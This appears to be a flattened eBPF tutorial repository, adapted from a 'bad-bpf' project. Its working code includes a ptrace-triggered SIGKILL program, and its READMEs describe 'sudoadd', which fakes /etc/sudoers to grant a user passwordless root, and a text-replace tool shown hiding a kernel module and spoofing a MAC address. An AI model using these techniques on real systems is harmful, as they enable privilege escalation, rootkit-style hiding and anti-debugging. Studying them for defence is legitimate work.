| this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /src/24-hide/pidhide.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_H 3 | #define BAD_BPF_COMMON_H 4 | 5 | // Simple message structure to get events from eBPF Programs 6 | // in the kernel to user spcae 7 | #define TASK_COMM_LEN 16 8 | #define MAX_PID_LEN 16 9 | 10 | // These are used by a number of 11 | // different programs to sync eBPF Tail Call 12 | // login between user space and kernel 13 | #define PROG_00 0 14 | #define PROG_01 1 15 | #define PROG_02 2 16 | 17 | struct event 18 | { 19 | int pid; 20 | char comm[TASK_COMM_LEN]; 21 | bool success; 22 | }; 23 | 24 | #endif // BAD_BPF_COMMON_H 25 | -------------------------------------------------------------------------------- /src/25-signal/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | bootstrap 9 | bpfdos 10 | ecc 11 | ecli 12 | -------------------------------------------------------------------------------- /src/25-signal/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Andrii Nakryiko 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /src/25-signal/common.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_H 3 | #define BAD_BPF_COMMON_H 4 | 5 | // Simple message structure to get events from eBPF Programs 6 | // in the kernel to user spcae 7 | #define TASK_COMM_LEN 16 8 | struct event { 9 | int pid; 10 | char comm[TASK_COMM_LEN]; 11 | bool success; 12 | }; 13 | 14 | #endif // BAD_BPF_COMMON_H 15 | -------------------------------------------------------------------------------- /src/25-signal/signal.bpf.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #include "vmlinux.h" 3 | #include 4 | #include 5 | #include 6 | #include "signal.h" 7 | 8 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 9 | 10 | // Ringbuffer Map to pass messages from kernel to user 11 | struct { 12 | __uint(type, BPF_MAP_TYPE_RINGBUF); 13 | __uint(max_entries, 256 * 1024); 14 | } rb SEC(".maps"); 15 | 16 | // Optional Target Parent PID 17 | const volatile int target_ppid = 0; 18 | 19 | SEC("tp/syscalls/sys_enter_ptrace") 20 | int bpf_dos(struct trace_event_raw_sys_enter *ctx) 21 | { 22 | long ret = 0; 23 | size_t pid_tgid = bpf_get_current_pid_tgid(); 24 | int pid = pid_tgid >> 32; 25 | 26 | // if target_ppid is 0 then we target all pids 27 | if (target_ppid != 0) { 28 | struct task_struct *task = (struct task_struct *)bpf_get_current_task(); 29 | int ppid = BPF_CORE_READ(task, real_parent, tgid); 30 | if (ppid != target_ppid) { 31 | return 0; 32 | } 33 | } 34 | 35 | // Send signal. 9 == SIGKILL 36 | ret = bpf_send_signal(9); 37 | 38 | // Log event 39 | struct event *e; 40 | e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); 41 | if (e) { 42 | e->success = (ret == 0); 43 | e->pid = pid; 44 | bpf_get_current_comm(&e->comm, sizeof(e->comm)); 45 | bpf_ringbuf_submit(e, 0); 46 | } 47 | 48 | return 0; 49 | } 50 | -------------------------------------------------------------------------------- /src/25-signal/signal.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_H 3 | #define BAD_BPF_COMMON_H 4 | 5 | // Simple message structure to get events from eBPF Programs 6 | // in the kernel to user spcae 7 | #define TASK_COMM_LEN 16 8 | struct event { 9 | int pid; 10 | char comm[TASK_COMM_LEN]; 11 | bool success; 12 | }; 13 | 14 | #endif // BAD_BPF_COMMON_H 15 | -------------------------------------------------------------------------------- /src/26-sudo/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | bootstrap 9 | sudoadd 10 | -------------------------------------------------------------------------------- /src/26-sudo/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Andrii Nakryiko 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /src/26-sudo/README.md: -------------------------------------------------------------------------------- 1 | # 使用 eBPF 添加 sudo 用户 2 | 3 | 本文完整的源代码: 4 | 5 | 关于如何安装依赖,请参考: 6 | 7 | 编译: 8 | 9 | ```bash 10 | make 11 | ``` 12 | 13 | 使用方式: 14 | 15 | ```sh 16 | sudo ./sudoadd --username lowpriv-user 17 | ``` 18 | 19 | 这个程序允许一个通常权限较低的用户使用 `sudo` 成为 root。 20 | 21 | 它通过拦截 `sudo` 读取 `/etc/sudoers` 文件,并将第一行覆盖为 ` ALL=(ALL:ALL) NOPASSWD:ALL #` 的方式工作。这欺骗了 sudo,使其认为用户被允许成为 root。其他程序如 `cat` 或 `sudoedit` 不受影响,所以对于这些程序来说,文件未改变,用户并没有这些权限。行尾的 `#` 确保行的其余部分被当作注释处理,因此不会破坏文件的逻辑。 22 | 23 | ## 参考资料 24 | 25 | - 26 | -------------------------------------------------------------------------------- /src/26-sudo/README_en.md: -------------------------------------------------------------------------------- 1 | # Using eBPF to add sudo user 2 | 3 | The full source code for this article can be found at 4 | 5 | Compilation: 6 | 7 | ```bash 8 | make 9 | ``` 10 | 11 | Usage: 12 | 13 | ```sh 14 | sudo ./sudoadd --username lowpriv-user 15 | ``` 16 | 17 | This program allows a user with lower privileges to become root using `sudo`. 18 | 19 | It works by intercepting `sudo` reading the `/etc/sudoers` file and overwriting the first line with ` ALL=(ALL:ALL) NOPASSWD:ALL #`. This tricks `sudo` into thinking that the user is allowed to become root. Other programs like `cat` or `sudoedit` are not affected, so the file remains unchanged and the user does not have these permissions. The `#` at the end of the line ensures that the rest of the line is treated as a comment, so it does not break the logic of the file. 20 | 21 | ## References 22 | 23 | - [https://github.com/pathtofile/bad-bpf](https://github.com/pathtofile/bad-bpf) -------------------------------------------------------------------------------- /src/26-sudo/common.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_H 3 | #define BAD_BPF_COMMON_H 4 | 5 | // These are used by a number of 6 | // different programs to sync eBPF Tail Call 7 | // login between user space and kernel 8 | #define PROG_00 0 9 | #define PROG_01 1 10 | #define PROG_02 2 11 | 12 | // Used when replacing text 13 | #define FILENAME_LEN_MAX 50 14 | #define TEXT_LEN_MAX 20 15 | #define max_payload_len 100 16 | #define sudoers_len 13 17 | 18 | // Simple message structure to get events from eBPF Programs 19 | // in the kernel to user spcae 20 | #define TASK_COMM_LEN 16 21 | struct event { 22 | int pid; 23 | char comm[TASK_COMM_LEN]; 24 | bool success; 25 | }; 26 | 27 | struct tr_file { 28 | char filename[FILENAME_LEN_MAX]; 29 | unsigned int filename_len; 30 | }; 31 | 32 | struct tr_text { 33 | char text[TEXT_LEN_MAX]; 34 | unsigned int text_len; 35 | }; 36 | 37 | #endif // BAD_BPF_COMMON_H 38 | -------------------------------------------------------------------------------- /src/26-sudo/common_um.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_UM_H 3 | #define BAD_BPF_COMMON_UM_H 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | 13 | static volatile sig_atomic_t exiting; 14 | 15 | void sig_int(int signo) 16 | { 17 | exiting = 1; 18 | } 19 | 20 | static bool setup_sig_handler() { 21 | // Add handlers for SIGINT and SIGTERM so we shutdown cleanly 22 | __sighandler_t sighandler = signal(SIGINT, sig_int); 23 | if (sighandler == SIG_ERR) { 24 | fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); 25 | return false; 26 | } 27 | sighandler = signal(SIGTERM, sig_int); 28 | if (sighandler == SIG_ERR) { 29 | fprintf(stderr, "can't set signal handler: %s\n", strerror(errno)); 30 | return false; 31 | } 32 | return true; 33 | } 34 | 35 | static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) 36 | { 37 | return vfprintf(stderr, format, args); 38 | } 39 | 40 | static bool bump_memlock_rlimit(void) 41 | { 42 | struct rlimit rlim_new = { 43 | .rlim_cur = RLIM_INFINITY, 44 | .rlim_max = RLIM_INFINITY, 45 | }; 46 | 47 | if (setrlimit(RLIMIT_MEMLOCK, &rlim_new)) { 48 | fprintf(stderr, "Failed to increase RLIMIT_MEMLOCK limit! (hint: run as root)\n"); 49 | return false; 50 | } 51 | return true; 52 | } 53 | 54 | 55 | static bool setup() { 56 | // Set up libbpf errors and debug info callback 57 | libbpf_set_print(libbpf_print_fn); 58 | 59 | // Bump RLIMIT_MEMLOCK to allow BPF sub-system to do anything 60 | if (!bump_memlock_rlimit()) { 61 | return false; 62 | }; 63 | 64 | // Setup signal handler so we exit cleanly 65 | if (!setup_sig_handler()) { 66 | return false; 67 | } 68 | 69 | return true; 70 | } 71 | 72 | 73 | #ifdef BAD_BPF_USE_TRACE_PIPE 74 | static void read_trace_pipe(void) { 75 | int trace_fd; 76 | 77 | trace_fd = open("/sys/kernel/debug/tracing/trace_pipe", O_RDONLY, 0); 78 | if (trace_fd == -1) { 79 | printf("Error opening trace_pipe: %s\n", strerror(errno)); 80 | return; 81 | } 82 | 83 | while (!exiting) { 84 | static char buf[4096]; 85 | ssize_t sz; 86 | 87 | sz = read(trace_fd, buf, sizeof(buf) -1); 88 | if (sz > 0) { 89 | buf[sz] = '\x00'; 90 | puts(buf); 91 | } 92 | } 93 | } 94 | #endif // BAD_BPF_USE_TRACE_PIPE 95 | 96 | #endif // BAD_BPF_COMMON_UM_H -------------------------------------------------------------------------------- /src/27-replace/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | bootstrap 9 | replace 10 | -------------------------------------------------------------------------------- /src/27-replace/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Andrii Nakryiko 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /src/27-replace/README.md: -------------------------------------------------------------------------------- 1 | # 使用 eBPF 替换任意程序读取或写入的文本 2 | 3 | 完整源代码: 4 | 5 | 关于如何安装依赖,请参考: 6 | 7 | 编译: 8 | 9 | ```bash 10 | make 11 | ``` 12 | 13 | 使用方式: 14 | 15 | ```sh 16 | sudo ./replace --filename /path/to/file --input foo --replace bar 17 | ``` 18 | 19 | 这个程序将文件中所有与 `input` 匹配的文本替换为 `replace` 文本。 20 | 这有很多用途,例如: 21 | 22 | 隐藏内核模块 `joydev`,避免被如 `lsmod` 这样的工具发现: 23 | 24 | ```bash 25 | ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 26 | ``` 27 | 28 | 伪造 `eth0` 接口的 MAC 地址: 29 | 30 | ```bash 31 | ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 32 | ``` 33 | 34 | 恶意软件进行反沙箱检查可能会检查 MAC 地址,寻找是否正在虚拟机或沙箱内运行,而不是在“真实”的机器上运行的迹象。 35 | 36 | **注意:** `input` 和 `replace` 的长度必须相同,以避免在文本块的中间添加 NULL 字符。在 bash 提示符下输入换行符,使用 `$'\n'`,例如 `--replace $'text\n'`。 37 | 38 | ## 参考资料 39 | 40 | - 41 | -------------------------------------------------------------------------------- /src/27-replace/README_en.md: -------------------------------------------------------------------------------- 1 | # Replace Text Read or Written by Any Program with eBPF 2 | 3 | See for the full source code. 4 | 5 | Compile: 6 | 7 | ```bash 8 | make 9 | ``` 10 | 11 | Usage: 12 | 13 | ```sh 14 | sudo ./replace --filename /path/to/file --input foo --replace bar 15 | ``` 16 | 17 | This program will replace all text in the file that matches 'input' with 'replace' text. 18 | There are many use cases for this, such as: 19 | 20 | Hiding the kernel module 'joydev' to avoid detection by tools like 'lsmod': 21 | 22 | ```bash 23 | ./replace -f /proc/modules -i 'joydev' -r 'cryptd' 24 | ``` 25 | 26 | Spoofing the MAC address of the 'eth0' interface: 27 | 28 | ```bash 29 | ./replace -f /sys/class/net/eth0/address -i '00:15:5d:01:ca:05' -r '00:00:00:00:00:00' 30 | ``` 31 | 32 | Malware performing anti-sandbox checks may look for MAC addresses as an indication of whether it is running in a virtual machine or sandbox, rather than on a "real" machine. 33 | 34 | **Note:** The lengths of 'input' and 'replace' must be the same to avoid introducing NULL characters in the middle of the text block. To input a newline character at a bash prompt, use `$'\n'`, for example `--replace $'text\n'`. 35 | 36 | ## References 37 | 38 | - . -------------------------------------------------------------------------------- /src/27-replace/replace.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_H 3 | #define BAD_BPF_COMMON_H 4 | 5 | // These are used by a number of 6 | // different programs to sync eBPF Tail Call 7 | // login between user space and kernel 8 | #define PROG_00 0 9 | #define PROG_01 1 10 | #define PROG_02 2 11 | 12 | // Used when replacing text 13 | #define FILENAME_LEN_MAX 50 14 | #define TEXT_LEN_MAX 20 15 | 16 | // Simple message structure to get events from eBPF Programs 17 | // in the kernel to user spcae 18 | #define TASK_COMM_LEN 16 19 | #define LOCAL_BUFF_SIZE 64 20 | #define loop_size 64 21 | #define text_len_max 20 22 | 23 | struct event { 24 | int pid; 25 | char comm[TASK_COMM_LEN]; 26 | bool success; 27 | }; 28 | 29 | #endif // BAD_BPF_COMMON_H 30 | -------------------------------------------------------------------------------- /src/28-detach/.gitignore: -------------------------------------------------------------------------------- 1 | .vscode 2 | package.json 3 | *.o 4 | *.skel.json 5 | *.skel.yaml 6 | package.yaml 7 | ecli 8 | bootstrap 9 | textreplace2 10 | -------------------------------------------------------------------------------- /src/28-detach/LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2020, Andrii Nakryiko 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | 1. Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | 2. Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | 3. Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /src/28-detach/textreplace2.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: BSD-3-Clause 2 | #ifndef BAD_BPF_COMMON_H 3 | #define BAD_BPF_COMMON_H 4 | 5 | // These are used by a number of 6 | // different programs to sync eBPF Tail Call 7 | // login between user space and kernel 8 | #define PROG_00 0 9 | #define PROG_01 1 10 | #define PROG_02 2 11 | 12 | // Used when replacing text 13 | #define FILENAME_LEN_MAX 50 14 | #define TEXT_LEN_MAX 20 15 | 16 | // Simple message structure to get events from eBPF Programs 17 | // in the kernel to user spcae 18 | #define TASK_COMM_LEN 16 19 | struct event { 20 | int pid; 21 | char comm[TASK_COMM_LEN]; 22 | bool success; 23 | }; 24 | 25 | struct tr_file { 26 | char filename[FILENAME_LEN_MAX]; 27 | unsigned int filename_len; 28 | }; 29 | 30 | struct tr_text { 31 | char text[TEXT_LEN_MAX]; 32 | unsigned int text_len; 33 | }; 34 | 35 | #endif // BAD_BPF_COMMON_H 36 | -------------------------------------------------------------------------------- /src/29-sockops/.gitignore: -------------------------------------------------------------------------------- 1 | .output 2 | .vscode -------------------------------------------------------------------------------- /src/29-sockops/Makefile: -------------------------------------------------------------------------------- 1 | # SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) 2 | OUTPUT := .output 3 | CLANG ?= clang 4 | LIBBPF_SRC := $(abspath ../third_party/libbpf/src) 5 | BPFTOOL_SRC := $(abspath ../third_party/bpftool/src) 6 | LIBBPF_OBJ := $(abspath $(OUTPUT)/libbpf.a) 7 | BPFTOOL_OUTPUT ?= $(abspath $(OUTPUT)/bpftool) 8 | BPFTOOL ?= $(BPFTOOL_OUTPUT)/bootstrap/bpftool 9 | LIBBLAZESYM_SRC := $(abspath ../third_party/blazesym/) 10 | LIBBLAZESYM_OBJ := $(abspath $(OUTPUT)/libblazesym.a) 11 | LIBBLAZESYM_HEADER := $(abspath $(OUTPUT)/blazesym.h) 12 | ARCH ?= $(shell uname -m | sed 's/x86_64/x86/' \ 13 | | sed 's/arm.*/arm/' \ 14 | | sed 's/aarch64/arm64/' \ 15 | | sed 's/ppc64le/powerpc/' \ 16 | | sed 's/mips.*/mips/' \ 17 | | sed 's/riscv64/riscv/' \ 18 | | sed 's/loongarch64/loongarch/') 19 | VMLINUX := ../third_party/vmlinux/$(ARCH)/vmlinux.h 20 | # Use our own libbpf API headers and Linux UAPI headers distributed with 21 | # libbpf to avoid dependency on system-wide headers, which could be missing or 22 | # outdated 23 | INCLUDES := -I$(OUTPUT) -I../third_party/libbpf/include/uapi -I$(dir $(VMLINUX)) 24 | CFLAGS := -g -Wall 25 | ALL_LDFLAGS := $(LDFLAGS) $(EXTRA_LDFLAGS) 26 | 27 | APPS = bpf_contrack bpf_redirect# minimal minimal_legacy uprobe kprobe fentry usdt sockfilter tc ksyscall 28 | 29 | CARGO ?= $(shell which cargo) 30 | ifeq ($(strip $(CARGO)),) 31 | BZS_APPS := 32 | else 33 | BZS_APPS := # profile 34 | APPS += $(BZS_APPS) 35 | # Required by libblazesym 36 | ALL_LDFLAGS += -lrt -ldl -lpthread -lm 37 | endif 38 | 39 | # Get Clang's default includes on this system. We'll explicitly add these dirs 40 | # to the includes list when compiling with `-target bpf` because otherwise some 41 | # architecture-specific dirs will be "missing" on some architectures/distros - 42 | # headers such as asm/types.h, asm/byteorder.h, asm/socket.h, asm/sockios.h, 43 | # sys/cdefs.h etc. might be missing. 44 | # 45 | # Use '-idirafter': Don't interfere with include mechanics except where the 46 | # build would have failed anyways. 47 | CLANG_BPF_SYS_INCLUDES ?= $(shell $(CLANG) -v -E - &1 \ 48 | | sed -n '/<...> search starts here:/,/End of search list./{ s| \(/.*\)|-idirafter \1|p }') 49 | 50 | ifeq ($(V),1) 51 | Q = 52 | msg = 53 | else 54 | Q = @ 55 | msg = @printf ' %-8s %s%s\n' \ 56 | "$(1)" \ 57 | "$(patsubst $(abspath $(OUTPUT))/%,%,$(2))" \ 58 | "$(if $(3), $(3))"; 59 | MAKEFLAGS += --no-print-directory 60 | endif 61 | 62 | define allow-override 63 | $(if $(or $(findstring environment,$(origin $(1))),\ 64 | $(findstring command line,$(origin $(1)))),,\ 65 | $(eval $(1) = $(2))) 66 | endef 67 | 68 | $(call allow-override,CC,$(CROSS_COMPILE)cc) 69 | $(call allow-override,LD,$(CROSS_COMPILE)ld) 70 | 71 | .PHONY: all 72 | all: bpf_redirect.bpf.o bpf_contrack.bpf.o 73 | 74 | .PHONY: clean 75 | 76 | 77 | clean: 78 | $(call msg,CLEAN) 79 | $(Q)rm -rf $(OUTPUT) *.bpf.o 80 | 81 | $(OUTPUT) $(OUTPUT)/libbpf $(BPFTOOL_OUTPUT): 82 | $(call msg,MKDIR,$@) 83 | $(Q)mkdir -p $@ 84 | 85 | # Build libbpf 86 | $(LIBBPF_OBJ): $(wildcard $(LIBBPF_SRC)/*.[ch] $(LIBBPF_SRC)/Makefile) | $(OUTPUT)/libbpf 87 | $(call msg,LIB,$@) 88 | $(Q)$(MAKE) -C $(LIBBPF_SRC) BUILD_STATIC_ONLY=1 \ 89 | OBJDIR=$(dir $@)/libbpf DESTDIR=$(dir $@) \ 90 | INCLUDEDIR= LIBDIR= UAPIDIR= \ 91 | install 92 | 93 | # Build bpftool 94 | $(BPFTOOL): | $(BPFTOOL_OUTPUT) 95 | $(call msg,BPFTOOL,$@) 96 | $(Q)$(MAKE) ARCH= CROSS_COMPILE= OUTPUT=$(BPFTOOL_OUTPUT)/ -C $(BPFTOOL_SRC) bootstrap 97 | 98 | 99 | # Build BPF code 100 | %.bpf.o: %.bpf.c $(LIBBPF_OBJ) $(wildcard %.h) $(VMLINUX) | $(OUTPUT) $(BPFTOOL) 101 | $(call msg,BPF,$@) 102 | $(Q)$(CLANG) -g -O2 -target bpf -D__TARGET_ARCH_$(ARCH) \ 103 | $(INCLUDES) $(CLANG_BPF_SYS_INCLUDES) \ 104 | -c $(filter %.c,$^) -o $(patsubst %.bpf.o,%.tmp.bpf.o,$@) 105 | $(Q)$(BPFTOOL) gen object $@ $(patsubst %.bpf.o,%.tmp.bpf.o,$@) 106 | 107 | 108 | 109 | -------------------------------------------------------------------------------- /src/29-sockops/bpf_contrack.bpf.c: -------------------------------------------------------------------------------- 1 | #include "bpf_sockmap.h" 2 | 3 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 4 | 5 | SEC("sockops") 6 | int bpf_sockops_handler(struct bpf_sock_ops *skops){ 7 | u32 family, op; 8 | 9 | family = skops->family; 10 | op = skops->op; 11 | if (op != BPF_SOCK_OPS_PASSIVE_ESTABLISHED_CB 12 | && op != BPF_SOCK_OPS_ACTIVE_ESTABLISHED_CB) { 13 | return BPF_OK; 14 | } 15 | 16 | if(skops->remote_ip4 != LOCALHOST_IPV4 || skops->local_ip4!= LOCALHOST_IPV4) { 17 | return BPF_OK; 18 | } 19 | 20 | struct sock_key key = { 21 | .dip = skops->remote_ip4, 22 | .sip = skops->local_ip4, 23 | .sport = bpf_htonl(skops->local_port), /* convert to network byte order */ 24 | .dport = skops->remote_port, 25 | .family = skops->family, 26 | }; 27 | 28 | bpf_printk(">>> new connection: OP:%d, PORT:%d --> %d\n", op, bpf_ntohl(key.sport), bpf_ntohl(key.dport)); 29 | 30 | bpf_sock_hash_update(skops, &sock_ops_map, &key, BPF_NOEXIST); 31 | return BPF_OK; 32 | } -------------------------------------------------------------------------------- /src/29-sockops/bpf_redirect.bpf.c: -------------------------------------------------------------------------------- 1 | #include "bpf_sockmap.h" 2 | 3 | char LICENSE[] SEC("license") = "Dual BSD/GPL"; 4 | 5 | SEC("sk_msg") 6 | int bpf_redir(struct sk_msg_md *msg) 7 | { 8 | if(msg->remote_ip4 != LOCALHOST_IPV4 || msg->local_ip4!= LOCALHOST_IPV4) 9 | return SK_PASS; 10 | 11 | struct sock_key key = { 12 | .sip = msg->remote_ip4, 13 | .dip = msg->local_ip4, 14 | .dport = bpf_htonl(msg->local_port), /* convert to network byte order */ 15 | .sport = msg->remote_port, 16 | .family = msg->family, 17 | }; 18 | return bpf_msg_redirect_hash(msg, &sock_ops_map, &key, BPF_F_INGRESS); 19 | } -------------------------------------------------------------------------------- 